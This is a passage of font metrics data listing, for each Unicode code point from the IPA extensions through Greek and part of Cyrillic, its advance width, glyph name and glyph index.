U 604 ; WX 545 ; N uni025C ; G 542
U 605 ; WX 775 ; N uni025D ; G 543
U 606 ; WX 664 ; N uni025E ; G 544
U 607 ; WX 326 ; N uni025F ; G 545
U 608 ; WX 696 ; N uni0260 ; G 546
U 609 ; WX 635 ; N uni0261 ; G 547
U 610 ; WX 629 ; N uni0262 ; G 548
U 611 ; WX 596 ; N uni0263 ; G 549
U 612 ; WX 596 ; N uni0264 ; G 550
U 613 ; WX 634 ; N uni0265 ; G 551
U 614 ; WX 634 ; N uni0266 ; G 552
U 615 ; WX 634 ; N uni0267 ; G 553
U 616 ; WX 372 ; N uni0268 ; G 554
U 617 ; WX 387 ; N uni0269 ; G 555
U 618 ; WX 372 ; N uni026A ; G 556
U 619 ; WX 396 ; N uni026B ; G 557
U 620 ; WX 487 ; N uni026C ; G 558
U 621 ; WX 278 ; N uni026D ; G 559
U 622 ; WX 706 ; N uni026E ; G 560
U 623 ; WX 974 ; N uni026F ; G 561
U 624 ; WX 974 ; N uni0270 ; G 562
U 625 ; WX 974 ; N uni0271 ; G 563
U 626 ; WX 646 ; N uni0272 ; G 564
U 627 ; WX 642 ; N uni0273 ; G 565
U 628 ; WX 634 ; N uni0274 ; G 566
U 629 ; WX 612 ; N uni0275 ; G 567
U 630 ; WX 858 ; N uni0276 ; G 568
U 631 ; WX 728 ; N uni0277 ; G 569
U 632 ; WX 660 ; N uni0278 ; G 570
U 633 ; WX 469 ; N uni0279 ; G 571
U 634 ; WX 469 ; N uni027A ; G 572
U 635 ; WX 469 ; N uni027B ; G 573
U 636 ; WX 469 ; N uni027C ; G 574
U 637 ; WX 469 ; N uni027D ; G 575
U 638 ; WX 530 ; N uni027E ; G 576
U 639 ; WX 530 ; N uni027F ; G 577
U 640 ; WX 602 ; N uni0280 ; G 578
U 641 ; WX 602 ; N uni0281 ; G 579
U 642 ; WX 521 ; N uni0282 ; G 580
U 643 ; WX 336 ; N uni0283 ; G 581
U 644 ; WX 336 ; N uni0284 ; G 582
U 645 ; WX 461 ; N uni0285 ; G 583
U 646 ; WX 336 ; N uni0286 ; G 584
U 647 ; WX 392 ; N uni0287 ; G 585
U 648 ; WX 392 ; N uni0288 ; G 586
U 649 ; WX 634 ; N uni0289 ; G 587
U 650 ; WX 618 ; N uni028A ; G 588
U 651 ; WX 598 ; N uni028B ; G 589
U 652 ; WX 592 ; N uni028C ; G 590
U 653 ; WX 818 ; N uni028D ; G 591
U 654 ; WX 592 ; N uni028E ; G 592
U 655 ; WX 611 ; N uni028F ; G 593
U 656 ; WX 525 ; N uni0290 ; G 594
U 657 ; WX 525 ; N uni0291 ; G 595
U 658 ; WX 578 ; N uni0292 ; G 596
U 659 ; WX 578 ; N uni0293 ; G 597
U 660 ; WX 510 ; N uni0294 ; G 598
U 661 ; WX 510 ; N uni0295 ; G 599
U 662 ; WX 510 ; N uni0296 ; G 600
U 663 ; WX 510 ; N uni0297 ; G 601
U 664 ; WX 787 ; N uni0298 ; G 602
U 665 ; WX 580 ; N uni0299 ; G 603
U 666 ; WX 664 ; N uni029A ; G 604
U 667 ; WX 708 ; N uni029B ; G 605
U 668 ; WX 654 ; N uni029C ; G 606
U 669 ; WX 292 ; N uni029D ; G 607
U 670 ; WX 667 ; N uni029E ; G 608
U 671 ; WX 507 ; N uni029F ; G 609
U 672 ; WX 727 ; N uni02A0 ; G 610
U 673 ; WX 510 ; N uni02A1 ; G 611
U 674 ; WX 510 ; N uni02A2 ; G 612
U 675 ; WX 1014 ; N uni02A3 ; G 613
U 676 ; WX 1058 ; N uni02A4 ; G 614
U 677 ; WX 1013 ; N uni02A5 ; G 615
U 678 ; WX 830 ; N uni02A6 ; G 616
U 679 ; WX 610 ; N uni02A7 ; G 617
U 680 ; WX 778 ; N uni02A8 ; G 618
U 681 ; WX 848 ; N uni02A9 ; G 619
U 682 ; WX 706 ; N uni02AA ; G 620
U 683 ; WX 654 ; N uni02AB ; G 621
U 684 ; WX 515 ; N uni02AC ; G 622
U 685 ; WX 515 ; N uni02AD ; G 623
U 686 ; WX 570 ; N uni02AE ; G 624
U 687 ; WX 664 ; N uni02AF ; G 625
U 688 ; WX 399 ; N uni02B0 ; G 626
U 689 ; WX 399 ; N uni02B1 ; G 627
U 690 ; WX 175 ; N uni02B2 ; G 628
U 691 ; WX 259 ; N uni02B3 ; G 629
U 692 ; WX 295 ; N uni02B4 ; G 630
U 693 ; WX 296 ; N uni02B5 ; G 631
U 694 ; WX 379 ; N uni02B6 ; G 632
U 695 ; WX 515 ; N uni02B7 ; G 633
U 696 ; WX 373 ; N uni02B8 ; G 634
U 697 ; WX 278 ; N uni02B9 ; G 635
U 698 ; WX 460 ; N uni02BA ; G 636
U 699 ; WX 318 ; N uni02BB ; G 637
U 700 ; WX 318 ; N uni02BC ; G 638
U 701 ; WX 318 ; N uni02BD ; G 639
U 702 ; WX 307 ; N uni02BE ; G 640
U 703 ; WX 307 ; N uni02BF ; G 641
U 704 ; WX 370 ; N uni02C0 ; G 642
U 705 ; WX 370 ; N uni02C1 ; G 643
U 706 ; WX 500 ; N uni02C2 ; G 644
U 707 ; WX 500 ; N uni02C3 ; G 645
U 708 ; WX 500 ; N uni02C4 ; G 646
U 709 ; WX 500 ; N uni02C5 ; G 647
U 710 ; WX 500 ; N circumflex ; G 648
U 711 ; WX 500 ; N caron ; G 649
U 712 ; WX 275 ; N uni02C8 ; G 650
U 713 ; WX 500 ; N uni02C9 ; G 651
U 714 ; WX 500 ; N uni02CA ; G 652
U 715 ; WX 500 ; N uni02CB ; G 653
U 716 ; WX 275 ; N uni02CC ; G 654
U 717 ; WX 500 ; N uni02CD ; G 655
U 718 ; WX 500 ; N uni02CE ; G 656
U 719 ; WX 500 ; N uni02CF ; G 657
U 720 ; WX 337 ; N uni02D0 ; G 658
U 721 ; WX 337 ; N uni02D1 ; G 659
U 722 ; WX 307 ; N uni02D2 ; G 660
U 723 ; WX 307 ; N uni02D3 ; G 661
U 724 ; WX 500 ; N uni02D4 ; G 662
U 725 ; WX 500 ; N uni02D5 ; G 663
U 726 ; WX 390 ; N uni02D6 ; G 664
U 727 ; WX 317 ; N uni02D7 ; G 665
U 728 ; WX 500 ; N breve ; G 666
U 729 ; WX 500 ; N dotaccent ; G 667
U 730 ; WX 500 ; N ring ; G 668
U 731 ; WX 500 ; N ogonek ; G 669
U 732 ; WX 500 ; N tilde ; G 670
U 733 ; WX 500 ; N hungarumlaut ; G 671
U 734 ; WX 315 ; N uni02DE ; G 672
U 735 ; WX 500 ; N uni02DF ; G 673
U 736 ; WX 426 ; N uni02E0 ; G 674
U 737 ; WX 166 ; N uni02E1 ; G 675
U 738 ; WX 373 ; N uni02E2 ; G 676
U 739 ; WX 444 ; N uni02E3 ; G 677
U 740 ; WX 370 ; N uni02E4 ; G 678
U 741 ; WX 493 ; N uni02E5 ; G 679
U 742 ; WX 493 ; N uni02E6 ; G 680
U 743 ; WX 493 ; N uni02E7 ; G 681
U 744 ; WX 493 ; N uni02E8 ; G 682
U 745 ; WX 493 ; N uni02E9 ; G 683
U 748 ; WX 500 ; N uni02EC ; G 684
U 749 ; WX 500 ; N uni02ED ; G 685
U 750 ; WX 518 ; N uni02EE ; G 686
U 755 ; WX 500 ; N uni02F3 ; G 687
U 759 ; WX 500 ; N uni02F7 ; G 688
U 768 ; WX 0 ; N gravecomb ; G 689
U 769 ; WX 0 ; N acutecomb ; G 690
U 770 ; WX 0 ; N uni0302 ; G 691
U 771 ; WX 0 ; N tildecomb ; G 692
U 772 ; WX 0 ; N uni0304 ; G 693
U 773 ; WX 0 ; N uni0305 ; G 694
U 774 ; WX 0 ; N uni0306 ; G 695
U 775 ; WX 0 ; N uni0307 ; G 696
U 776 ; WX 0 ; N uni0308 ; G 697
U 777 ; WX 0 ; N hookabovecomb ; G 698
U 778 ; WX 0 ; N uni030A ; G 699
U 779 ; WX 0 ; N uni030B ; G 700
U 780 ; WX 0 ; N uni030C ; G 701
U 781 ; WX 0 ; N uni030D ; G 702
U 782 ; WX 0 ; N uni030E ; G 703
U 783 ; WX 0 ; N uni030F ; G 704
U 784 ; WX 0 ; N uni0310 ; G 705
U 785 ; WX 0 ; N uni0311 ; G 706
U 786 ; WX 0 ; N uni0312 ; G 707
U 787 ; WX 0 ; N uni0313 ; G 708
U 788 ; WX 0 ; N uni0314 ; G 709
U 789 ; WX 0 ; N uni0315 ; G 710
U 790 ; WX 0 ; N uni0316 ; G 711
U 791 ; WX 0 ; N uni0317 ; G 712
U 792 ; WX 0 ; N uni0318 ; G 713
U 793 ; WX 0 ; N uni0319 ; G 714
U 794 ; WX 0 ; N uni031A ; G 715
U 795 ; WX 0 ; N uni031B ; G 716
U 796 ; WX 0 ; N uni031C ; G 717
U 797 ; WX 0 ; N uni031D ; G 718
U 798 ; WX 0 ; N uni031E ; G 719
U 799 ; WX 0 ; N uni031F ; G 720
U 800 ; WX 0 ; N uni0320 ; G 721
U 801 ; WX 0 ; N uni0321 ; G 722
U 802 ; WX 0 ; N uni0322 ; G 723
U 803 ; WX 0 ; N dotbelowcomb ; G 724
U 804 ; WX 0 ; N uni0324 ; G 725
U 805 ; WX 0 ; N uni0325 ; G 726
U 806 ; WX 0 ; N uni0326 ; G 727
U 807 ; WX 0 ; N uni0327 ; G 728
U 808 ; WX 0 ; N uni0328 ; G 729
U 809 ; WX 0 ; N uni0329 ; G 730
U 810 ; WX 0 ; N uni032A ; G 731
U 811 ; WX 0 ; N uni032B ; G 732
U 812 ; WX 0 ; N uni032C ; G 733
U 813 ; WX 0 ; N uni032D ; G 734
U 814 ; WX 0 ; N uni032E ; G 735
U 815 ; WX 0 ; N uni032F ; G 736
U 816 ; WX 0 ; N uni0330 ; G 737
U 817 ; WX 0 ; N uni0331 ; G 738
U 818 ; WX 0 ; N uni0332 ; G 739
U 819 ; WX 0 ; N uni0333 ; G 740
U 820 ; WX 0 ; N uni0334 ; G 741
U 821 ; WX 0 ; N uni0335 ; G 742
U 822 ; WX 0 ; N uni0336 ; G 743
U 823 ; WX 0 ; N uni0337 ; G 744
U 824 ; WX 0 ; N uni0338 ; G 745
U 825 ; WX 0 ; N uni0339 ; G 746
U 826 ; WX 0 ; N uni033A ; G 747
U 827 ; WX 0 ; N uni033B ; G 748
U 828 ; WX 0 ; N uni033C ; G 749
U 829 ; WX 0 ; N uni033D ; G 750
U 830 ; WX 0 ; N uni033E ; G 751
U 831 ; WX 0 ; N uni033F ; G 752
U 832 ; WX 0 ; N uni0340 ; G 753
U 833 ; WX 0 ; N uni0341 ; G 754
U 834 ; WX 0 ; N uni0342 ; G 755
U 835 ; WX 0 ; N uni0343 ; G 756
U 836 ; WX 0 ; N uni0344 ; G 757
U 837 ; WX 0 ; N uni0345 ; G 758
U 838 ; WX 0 ; N uni0346 ; G 759
U 839 ; WX 0 ; N uni0347 ; G 760
U 840 ; WX 0 ; N uni0348 ; G 761
U 841 ; WX 0 ; N uni0349 ; G 762
U 842 ; WX 0 ; N uni034A ; G 763
U 843 ; WX 0 ; N uni034B ; G 764
U 844 ; WX 0 ; N uni034C ; G 765
U 845 ; WX 0 ; N uni034D ; G 766
U 846 ; WX 0 ; N uni034E ; G 767
U 847 ; WX 0 ; N uni034F ; G 768
U 849 ; WX 0 ; N uni0351 ; G 769
U 850 ; WX 0 ; N uni0352 ; G 770
U 851 ; WX 0 ; N uni0353 ; G 771
U 855 ; WX 0 ; N uni0357 ; G 772
U 856 ; WX 0 ; N uni0358 ; G 773
U 858 ; WX 0 ; N uni035A ; G 774
U 860 ; WX 0 ; N uni035C ; G 775
U 861 ; WX 0 ; N uni035D ; G 776
U 862 ; WX 0 ; N uni035E ; G 777
U 863 ; WX 0 ; N uni035F ; G 778
U 864 ; WX 0 ; N uni0360 ; G 779
U 865 ; WX 0 ; N uni0361 ; G 780
U 866 ; WX 0 ; N uni0362 ; G 781
U 880 ; WX 654 ; N uni0370 ; G 782
U 881 ; WX 568 ; N uni0371 ; G 783
U 882 ; WX 862 ; N uni0372 ; G 784
U 883 ; WX 647 ; N uni0373 ; G 785
U 884 ; WX 278 ; N uni0374 ; G 786
U 885 ; WX 278 ; N uni0375 ; G 787
U 886 ; WX 748 ; N uni0376 ; G 788
U 887 ; WX 650 ; N uni0377 ; G 789
U 890 ; WX 500 ; N uni037A ; G 790
U 891 ; WX 549 ; N uni037B ; G 791
U 892 ; WX 550 ; N uni037C ; G 792
U 893 ; WX 549 ; N uni037D ; G 793
U 894 ; WX 337 ; N uni037E ; G 794
U 895 ; WX 295 ; N uni037F ; G 795
U 900 ; WX 500 ; N tonos ; G 796
U 901 ; WX 500 ; N dieresistonos ; G 797
U 902 ; WX 684 ; N Alphatonos ; G 798
U 903 ; WX 318 ; N anoteleia ; G 799
U 904 ; WX 767 ; N Epsilontonos ; G 800
U 905 ; WX 903 ; N Etatonos ; G 801
U 906 ; WX 435 ; N Iotatonos ; G 802
U 908 ; WX 839 ; N Omicrontonos ; G 803
U 910 ; WX 860 ; N Upsilontonos ; G 804
U 911 ; WX 905 ; N Omegatonos ; G 805
U 912 ; WX 338 ; N iotadieresistonos ; G 806
U 913 ; WX 684 ; N Alpha ; G 807
U 914 ; WX 686 ; N Beta ; G 808
U 915 ; WX 557 ; N Gamma ; G 809
U 916 ; WX 684 ; N uni0394 ; G 810
U 917 ; WX 632 ; N Epsilon ; G 811
U 918 ; WX 685 ; N Zeta ; G 812
U 919 ; WX 752 ; N Eta ; G 813
U 920 ; WX 787 ; N Theta ; G 814
U 921 ; WX 295 ; N Iota ; G 815
U 922 ; WX 656 ; N Kappa ; G 816
U 923 ; WX 684 ; N Lambda ; G 817
U 924 ; WX 863 ; N Mu ; G 818
U 925 ; WX 748 ; N Nu ; G 819
U 926 ; WX 632 ; N Xi ; G 820
U 927 ; WX 787 ; N Omicron ; G 821
U 928 ; WX 752 ; N Pi ; G 822
U 929 ; WX 603 ; N Rho ; G 823
U 931 ; WX 632 ; N Sigma ; G 824
U 932 ; WX 611 ; N Tau ; G 825
U 933 ; WX 611 ; N Upsilon ; G 826
U 934 ; WX 787 ; N Phi ; G 827
U 935 ; WX 685 ; N Chi ; G 828
U 936 ; WX 787 ; N Psi ; G 829
U 937 ; WX 764 ; N Omega ; G 830
U 938 ; WX 295 ; N Iotadieresis ; G 831
U 939 ; WX 611 ; N Upsilondieresis ; G 832
U 940 ; WX 659 ; N alphatonos ; G 833
U 941 ; WX 541 ; N epsilontonos ; G 834
U 942 ; WX 634 ; N etatonos ; G 835
U 943 ; WX 338 ; N iotatonos ; G 836
U 944 ; WX 579 ; N upsilondieresistonos ; G 837
U 945 ; WX 659 ; N alpha ; G 838
U 946 ; WX 638 ; N beta ; G 839
U 947 ; WX 592 ; N gamma ; G 840
U 948 ; WX 612 ; N delta ; G 841
U 949 ; WX 541 ; N epsilon ; G 842
U 950 ; WX 544 ; N zeta ; G 843
U 951 ; WX 634 ; N eta ; G 844
U 952 ; WX 612 ; N theta ; G 845
U 953 ; WX 338 ; N iota ; G 846
U 954 ; WX 589 ; N kappa ; G 847
U 955 ; WX 592 ; N lambda ; G 848
U 956 ; WX 636 ; N uni03BC ; G 849
U 957 ; WX 559 ; N nu ; G 850
U 958 ; WX 558 ; N xi ; G 851
U 959 ; WX 612 ; N omicron ; G 852
U 960 ; WX 602 ; N pi ; G 853
U 961 ; WX 635 ; N rho ; G 854
U 962 ; WX 587 ; N sigma1 ; G 855
U 963 ; WX 634 ; N sigma ; G 856
U 964 ; WX 602 ; N tau ; G 857
U 965 ; WX 579 ; N upsilon ; G 858
U 966 ; WX 660 ; N phi ; G 859
U 967 ; WX 592 ; N chi ; G 860
U 968 ; WX 660 ; N psi ; G 861
U 969 ; WX 837 ; N omega ; G 862
U 970 ; WX 338 ; N iotadieresis ; G 863
U 971 ; WX 579 ; N upsilondieresis ; G 864
U 972 ; WX 612 ; N omicrontonos ; G 865
U 973 ; WX 579 ; N upsilontonos ; G 866
U 974 ; WX 837 ; N omegatonos ; G 867
U 975 ; WX 656 ; N uni03CF ; G 868
U 976 ; WX 614 ; N uni03D0 ; G 869
U 977 ; WX 619 ; N theta1 ; G 870
U 978 ; WX 699 ; N Upsilon1 ; G 871
U 979 ; WX 842 ; N uni03D3 ; G 872
U 980 ; WX 699 ; N uni03D4 ; G 873
U 981 ; WX 660 ; N phi1 ; G 874
U 982 ; WX 837 ; N omega1 ; G 875
U 983 ; WX 664 ; N uni03D7 ; G 876
U 984 ; WX 787 ; N uni03D8 ; G 877
U 985 ; WX 612 ; N uni03D9 ; G 878
U 986 ; WX 648 ; N uni03DA ; G 879
U 987 ; WX 587 ; N uni03DB ; G 880
U 988 ; WX 575 ; N uni03DC ; G 881
U 989 ; WX 458 ; N uni03DD ; G 882
U 990 ; WX 660 ; N uni03DE ; G 883
U 991 ; WX 660 ; N uni03DF ; G 884
U 992 ; WX 865 ; N uni03E0 ; G 885
U 993 ; WX 627 ; N uni03E1 ; G 886
U 994 ; WX 934 ; N uni03E2 ; G 887
U 995 ; WX 837 ; N uni03E3 ; G 888
U 996 ; WX 758 ; N uni03E4 ; G 889
U 997 ; WX 659 ; N uni03E5 ; G 890
U 998 ; WX 792 ; N uni03E6 ; G 891
U 999 ; WX 615 ; N uni03E7 ; G 892
U 1000 ; WX 687 ; N uni03E8 ; G 893
U 1001 ; WX 607 ; N uni03E9 ; G 894
U 1002 ; WX 768 ; N uni03EA ; G 895
U 1003 ; WX 625 ; N uni03EB ; G 896
U 1004 ; WX 699 ; N uni03EC ; G 897
U 1005 ; WX 612 ; N uni03ED ; G 898
U 1006 ; WX 611 ; N uni03EE ; G 899
U 1007 ; WX 536 ; N uni03EF ; G 900
U 1008 ; WX 664 ; N uni03F0 ; G 901
U 1009 ; WX 635 ; N uni03F1 ; G 902
U 1010 ; WX 550 ; N uni03F2 ; G 903
U 1011 ; WX 278 ; N uni03F3 ; G 904
U 1012 ; WX 787 ; N uni03F4 ; G 905
U 1013 ; WX 615 ; N uni03F5 ; G 906
U 1014 ; WX 615 ; N uni03F6 ; G 907
U 1015 ; WX 608 ; N uni03F7 ; G 908
U 1016 ; WX 635 ; N uni03F8 ; G 909
U 1017 ; WX 698 ; N uni03F9 ; G 910
U 1018 ; WX 863 ; N uni03FA ; G 911
U 1019 ; WX 651 ; N uni03FB ; G 912
U 1020 ; WX 635 ; N uni03FC ; G 913
U 1021 ; WX 703 ; N uni03FD ; G 914
U 1022 ; WX 698 ; N uni03FE ; G 915
U 1023 ; WX 703 ; N uni03FF ; G 916
U 1024 ; WX 632 ; N uni0400 ; G 917
U 1025 ; WX 632 ; N uni0401 ; G 918
U 1026 ; WX 786 ; N uni0402 ; G 919
U 1027 ; WX 557 ; N uni0403 ; G 920
U 1028 ; WX 698 ; N uni0404 ; G 921
U 1029 ; WX 635 ; N uni0405 ; G 922
U 1030 ; WX 295 ; N uni0406 ; G 923
U 1031 ; WX 295 ; N uni0407 ; G 924
U 1032 ; WX 295 ; N uni0408 ; G 925
U 1033 ; WX 1094 ; N uni0409 ; G 926
U 1034 ; WX 1045 ; N uni040A ; G 927
U 1035 ; WX 786 ; N uni040B ; G 928
U 1036 ; WX 710 ; N uni040C ; G 929
U 1037 ; WX 748 ; N uni040D ; G 930
U 1038 ; WX 609 ; N uni040E ; G 931
U 1039 ; WX 752 ; N uni040F ; G 932
U 1040 ; WX 684 ; N uni0410 ; G 933
U 1041 ; WX 686 ; N uni0411 ; G 934
U 1042 ; WX 686 ; N uni0412 ; G 935
U 1043 ; WX 557 ; N uni0413 ; G 936
U 1044 ; WX 781 ; N uni0414 ; G 937
U 1045 ; WX 632 ; N uni0415 ; G 938
U 1046 ; WX 1077 ; N uni0416 ; G 939
U 1047 ; WX 641 ; N uni0417 ; G 940
U 1048 ; WX 748 ; N uni0418 ; G 941
U 1049 ; WX 748 ; N uni0419 ; G 942
U 1050 ; WX 710 ; N uni041A ; G 943
U 1051 ; WX 752 ; N uni041B ; G 944
U 1052 ; WX 863 ; N uni041C ; G 945
U 1053 ; WX 752 ; N uni041D ; G 946
U 1054 ; WX 787 ; N uni041E ; G 947
U 1055 ; WX 752 ; N uni041F ; G 948
U 1056 ; WX 603 ; N uni0420 ; G 949
U 1057 ; WX 698 ; N uni0421 ; G 950
U 1058 ; WX 611 ; N uni0422 ; G 951
U 1059 ; WX 609 ; N uni0423 ; G 952
U 1060 ; WX 861 ; N uni0424 ; G 953
U 1061 ; WX 685 ; N uni0425 ; G 954
U 1062 ; WX 776 ; N uni0426 ; G 955
U 1063 ; WX 686 ; N uni0427 ; G 956
U 1064 ; WX 1069 ; N uni0428 ; G 957
U 1065 ; WX 1094 ; N uni0429 ; G 958
U 1066 ; WX 833 ; N uni042A ; G 959
U 1067 ; WX 818 ; N uni042B ; G 960
U 1068 ; WX 686 ; N uni042C ; G 961
U 1069 ; WX 698 ; N uni042D ; G 962
U 1070 ; WX 1080 ; N uni042E ; G 963
U 1071 ; WX 695 ; N uni042F ; G 964
U 1072 ; WX 613 ; N uni0430 ; G 965
U 1073 ; WX 617 ; N uni0431 ; G 966
U 1074 ; WX 589 ; N uni0432 ; G 967
U 1075 ; WX 525 ; N uni0433 ; G 968
U 1076 ; WX 691 ; N uni0434 ; G 969
U 1077 ; WX 615 ; N uni0435 ; G 970
U 1078 ; WX 901 ; N uni0436 ; G 971
U 1079 ; WX 532 ; N uni0437 ; G 972
U 1080 ; WX 650 ; N uni0438 ; G 973
U 1081 ; WX 650 ; N uni0439 ; G 974
U 1082 ; WX 604 ; N uni043A ; G 975
U 1083 ; WX 639 ; N uni043B ; G 976
U 1084 ; WX 754 ; N uni043C ; G 977
U 1085 ; WX 654 ; N uni043D ; G 978
U 1086 ; WX 612 ; N uni043E ; G 979
U 1087 ; WX 654 ; N uni043F ; G 980
U 1088 ; WX 635 ; N uni0440 ; G 981
U 1089 ; WX 550 ; N uni0441 ; G 982
U 1090 ; WX 583 ; N uni0442 ; G 983
U 1091 ; WX 592 ; N uni0443 ; G 984
U 1092 ; WX 855 ; N uni0444 ; G 985
U 1093 ; WX 592 ; N uni0445 ; G 986
U 1094 ; WX 681 ; N uni0446 ; G 987
U 1095 ; WX 591 ; N uni0447 ; G 988
U 1096 ; WX 915 ; N uni0448 ; G 989
U 1097 ; WX 942 ; N uni0449 ; G 990
U 1098 ; WX 707 ; N uni044A ; G 991
U 1099 ; WX 790 ; N uni044B ; G 992
U 1100 ; WX 589 ; N uni044C ; G 993
U 1101 ; WX 549 ; N uni044D ; G 994
U 1102 ; WX 842 ; N uni044E ; G 995
U 1103 ; WX 602 ; N uni044F ; G 996
U 1104 ; WX 615 ; N uni0450 ; G 997
U 1105 ; WX 615 ; N uni0451 ; G 998
U 1106 ; WX 625 ; N uni0452 ; G 999
U 1107 ; WX 525 ; N uni0453 ; G 1000
U 1108 ; WX 549 ; N uni0454 ; G 1001
U 1109 ; WX 521 ; N uni0455 ; G 1002
U 1110 ; WX 278 ; N uni0456 ; G 1003
U 1111 ; WX 278 ; N uni0457 ; G 1004
U 1112 ; WX 278 ; N uni0458 ; G 1005
U 1113 ; WX 902 ; N uni0459 ; G 1006
U 1114 ; WX 898 ; N uni045A ; G 1007
U 1115 ; WX 652 ; N uni045B ; G 1008
U 1116 ; WX 604 ; N uni045C ; G 1009
U 1117 ; WX 650 ; N uni045D ; G 1010
U 1118 ; WX 592 ; N uni045E ; G 1011
U 1119 ; WX 654 ; N uni045F ; G 1012
U 1120 ; WX 934 ; N uni0460 ; G 1013
U 1121 ; WX 837 ; N uni0461 ; G 1014
U 1122 ; WX 771 ; N uni0462 ; G 1015
U 1123 ; WX 672 ; N uni0463 ; G 1016
U 1124 ; WX 942 ; N uni0464 ; G 1017
U 1125 ; WX 749 ; N uni0465 ; G 1018
U 1126 ; WX 879 ; N uni0466 ; G 1019
U 1127 ; WX 783 ; N uni0467 ; G 1020
U 1128 ; WX 1160 ; N uni0468 ; G 1021
U 1129 ; WX 1001 ; N uni0469 ; G 1022
U 1130 ; WX 787 ; N uni046A ; G 1023
U 1131 ; WX 612 ; N uni046B ; G 1024
U 1132 ; WX 1027 ; N uni046C ; G 1025
U 1133 ; WX 824 ; N uni046D ; G 1026
U 1134 ; WX 636 ; N uni046E ; G 1027
U 1135 ; WX 541 ; N uni046F ; G 1028
U 1136 ; WX 856 ; N uni0470 ; G 1029
U 1137 ; WX 876 ; N uni0471 ; G 1030
U 1138 ; WX 787 ; N uni0472 ; G 1031
U 1139 ; WX 612 ; N uni0473 ; G 1032
U 1140 ; WX 781 ; N uni0474 ; G 1033
U 1141 ; WX 665 ; N uni0475 ; G 1034
U 1142 ; WX 781 ; N uni0476 ; G 1035
U 1143 ; WX 665 ; N uni0477 ; G 1036
U 1144 ; WX 992 ; N uni0478 ; G 1037
U 1145 ; WX 904 ; N uni0479 ; G 1038
U 1146 ; WX 953 ; N uni047A ; G 1039
U 1147 ; WX 758 ; N uni047B ; G 1040
U 1148 ; WX 1180 ; N uni047C ; G 1041
U 1149 ; WX 1028 ; N uni047D ; G 1042
U 1150 ; WX 934 ; N uni047E ; G 1043
U 1151 ; WX 837 ; N uni047F ; G 1044
U 1152 ; WX 698 ; N uni0480 ; G 1045
U 1153 ; WX 550 ; N uni0481 ; G 1046
U 1154 ; WX 502 ; N uni0482 ; G 1047
U 1155 ; WX 0 ; N uni0483 ; G 1048
U 1156 ; WX 0 ; N uni0484 ; G 1049
U 1157 ; WX 0 ; N uni0485 ; G 1050
U 1158 ; WX 0 ; N uni0486 ; G 1051
U 1159 ; WX 0 ; N uni0487 ; G 1052
U 1160 ; WX 418 ; N uni0488 ; G 1053
U 1161 ; WX 418 ; N uni0489 ; G 1054
U 1162 ; WX 748 ; N uni048A ; G 1055
U 1163 ; WX 657 ; N uni048B ; G 1056
U 1164 ; WX 686 ; N uni048C ; G 1057
U 1165 ; WX 589 ; N uni048D ; G 1058
U 1166 ; WX 603 ; N uni048E ; G 1059
U 1167 ; WX 635 ; N uni048F ; G 1060
U 1168 ; WX 610 ; N uni0490 ; G 1061
U 1169 ; WX 525 ; N uni0491 ; G 1062
U 1170 ; WX 675 ; N uni0492 ; G 1063
U 1171 ; WX 556 ; N uni0493 ; G 1064
U 1172 ; WX 557 ; N uni0494 ; G 1065
U 1173 ; WX 491 ; N uni0495 ; G 1066
U 1174 ; WX 1077 ; N uni0496 ; G 1067
U 1175 ; WX 901 ; N uni0497 ; G 1068
U 1176 ; WX 641 ; N uni0498 ; G 1069
U 1177 ; WX 532 ; N uni0499 ; G 1070
U 1178 ; WX 710 ; N uni049A ; G 1071
U 1179 ; WX 604 ; N uni049B ; G 1072
U 1180 ; WX 710 ; N uni049C ; G 1073
U 1181 ; WX 604 ; N uni049D ; G 1074
U 1182 ; WX 710 ; N uni049E ; G 1075
U 1183 ; WX 604 ; N uni049F ; G 1076
U 1184 ; WX 856 ; N uni04A0 ; G 1077
U 1185 ; WX 832 ; N uni04A1 ; G 1078
U 1186 ; WX 752 ; N uni04A2 ; G 1079
U 1187 ; WX 661 ; N uni04A3 ; G 1080
U 1188 ; WX 1014 ; N uni04A4 ; G 1081
U 1189 ; WX 877 ; N uni04A5 ; G 1082
U 1190 ; WX 1113 ; N uni04A6 ; G 1083
U 1191 ; WX 950 ; N uni04A7 ; G 1084
U 1192 ; WX 890 ; N uni04A8 ; G 1085
U 1193 ; WX 707 ; N uni04A9 ; G 1086
U 1194 ; WX 698 ; N uni04AA ; G 1087
U 1195 ; WX 550 ; N uni04AB ; G 1088
U 1196 ; WX 611 ; N uni04AC ; G 1089
U 1197 ; WX 529 ; N uni04AD ; G 1090
U 1198 ; WX 611 ; N uni04AE ; G 1091
U 1199 ; WX 592 ; N uni04AF ; G 1092
U 1200 ; WX 611 ; N uni04B0 ; G 1093
U 1201 ; WX 592 ; N uni04B1 ; G 1094
U 1202 ; WX 685 ; N uni04B2 ; G 1095
U 1203 ; WX 592 ; N uni04B3 ; G 1096
U 1204 ; WX 934 ; N uni04B4 ; G 1097
U 1205 ; WX 807 ; N uni04B5 ; G 1098
U 1206 ; WX 686 ; N uni04B6 ; G 1099
U 1207 ; WX 591 ; N uni04B7 ; G 1100
U 1208 ; WX 686 ; N uni04B8 ; G 1101
U 1209 ; WX 591 ; N uni04B9 ; G 1102
U 1210 ; WX 686 ; N uni04BA ; G 1103
U 1211 ; WX 634 ; N uni04BB ; G 1104
U 1212 ; WX 929 ; N uni04BC ; G 1105
U 1213 ; WX 731 ; N uni04BD ; G 1106
U 1214 ; WX 929 ; N uni04BE ; G 1107
U 1215 ; WX 731 ; N uni04BF ; G 1108
U 1216 ; WX 295 ; N uni04C0 ; G 1109
U 1217 ; WX 1077 ; N uni04C1 ; G 1110
U 1218 ; WX 901 ; N uni04C2 ; G 1111
U 1219 ; WX 655 ; N uni04C3 ; G 1112
U 1220 ; WX 604 ; N uni04C4 ; G 1113
U 1221 ; WX 752 ; N uni04C5 ; G 1114
U 1222 ; WX 639 ; N uni04C6 ; G 1115
U 1223 ; WX 752 ; N uni04C7 ; G 1116
U 1224 ; WX 661 ; N uni04C8 ; G 1117
U 1225 ; WX 752 ; N uni04C9 ; G 1118
U 1226 ; WX 661 ; N uni04CA ; G 1119
U 1227 ; WX 686 ; N uni04CB ; G 1120
U 1228 ; WX 591 ; N uni04CC ; G 1121
U 1229 ; WX 863 ; N uni04CD ; G 1122
U 1230 ; WX 754 ; N uni04CE ; G 1123
U 1231 ; WX 278 ; N uni04CF ; G 1124
U 1232 ; WX 684 ; N uni04D0 ; G 1125
U 1233 ; WX 613 ; N uni04D1 ; G 1126
U 1234 ; WX 684 ; N uni04D2 ; G 1127
U 1235 ; WX 613 ; N uni04D3 ; G 1128
U 1236 ; WX 974 ; N uni04D4 ; G 1129
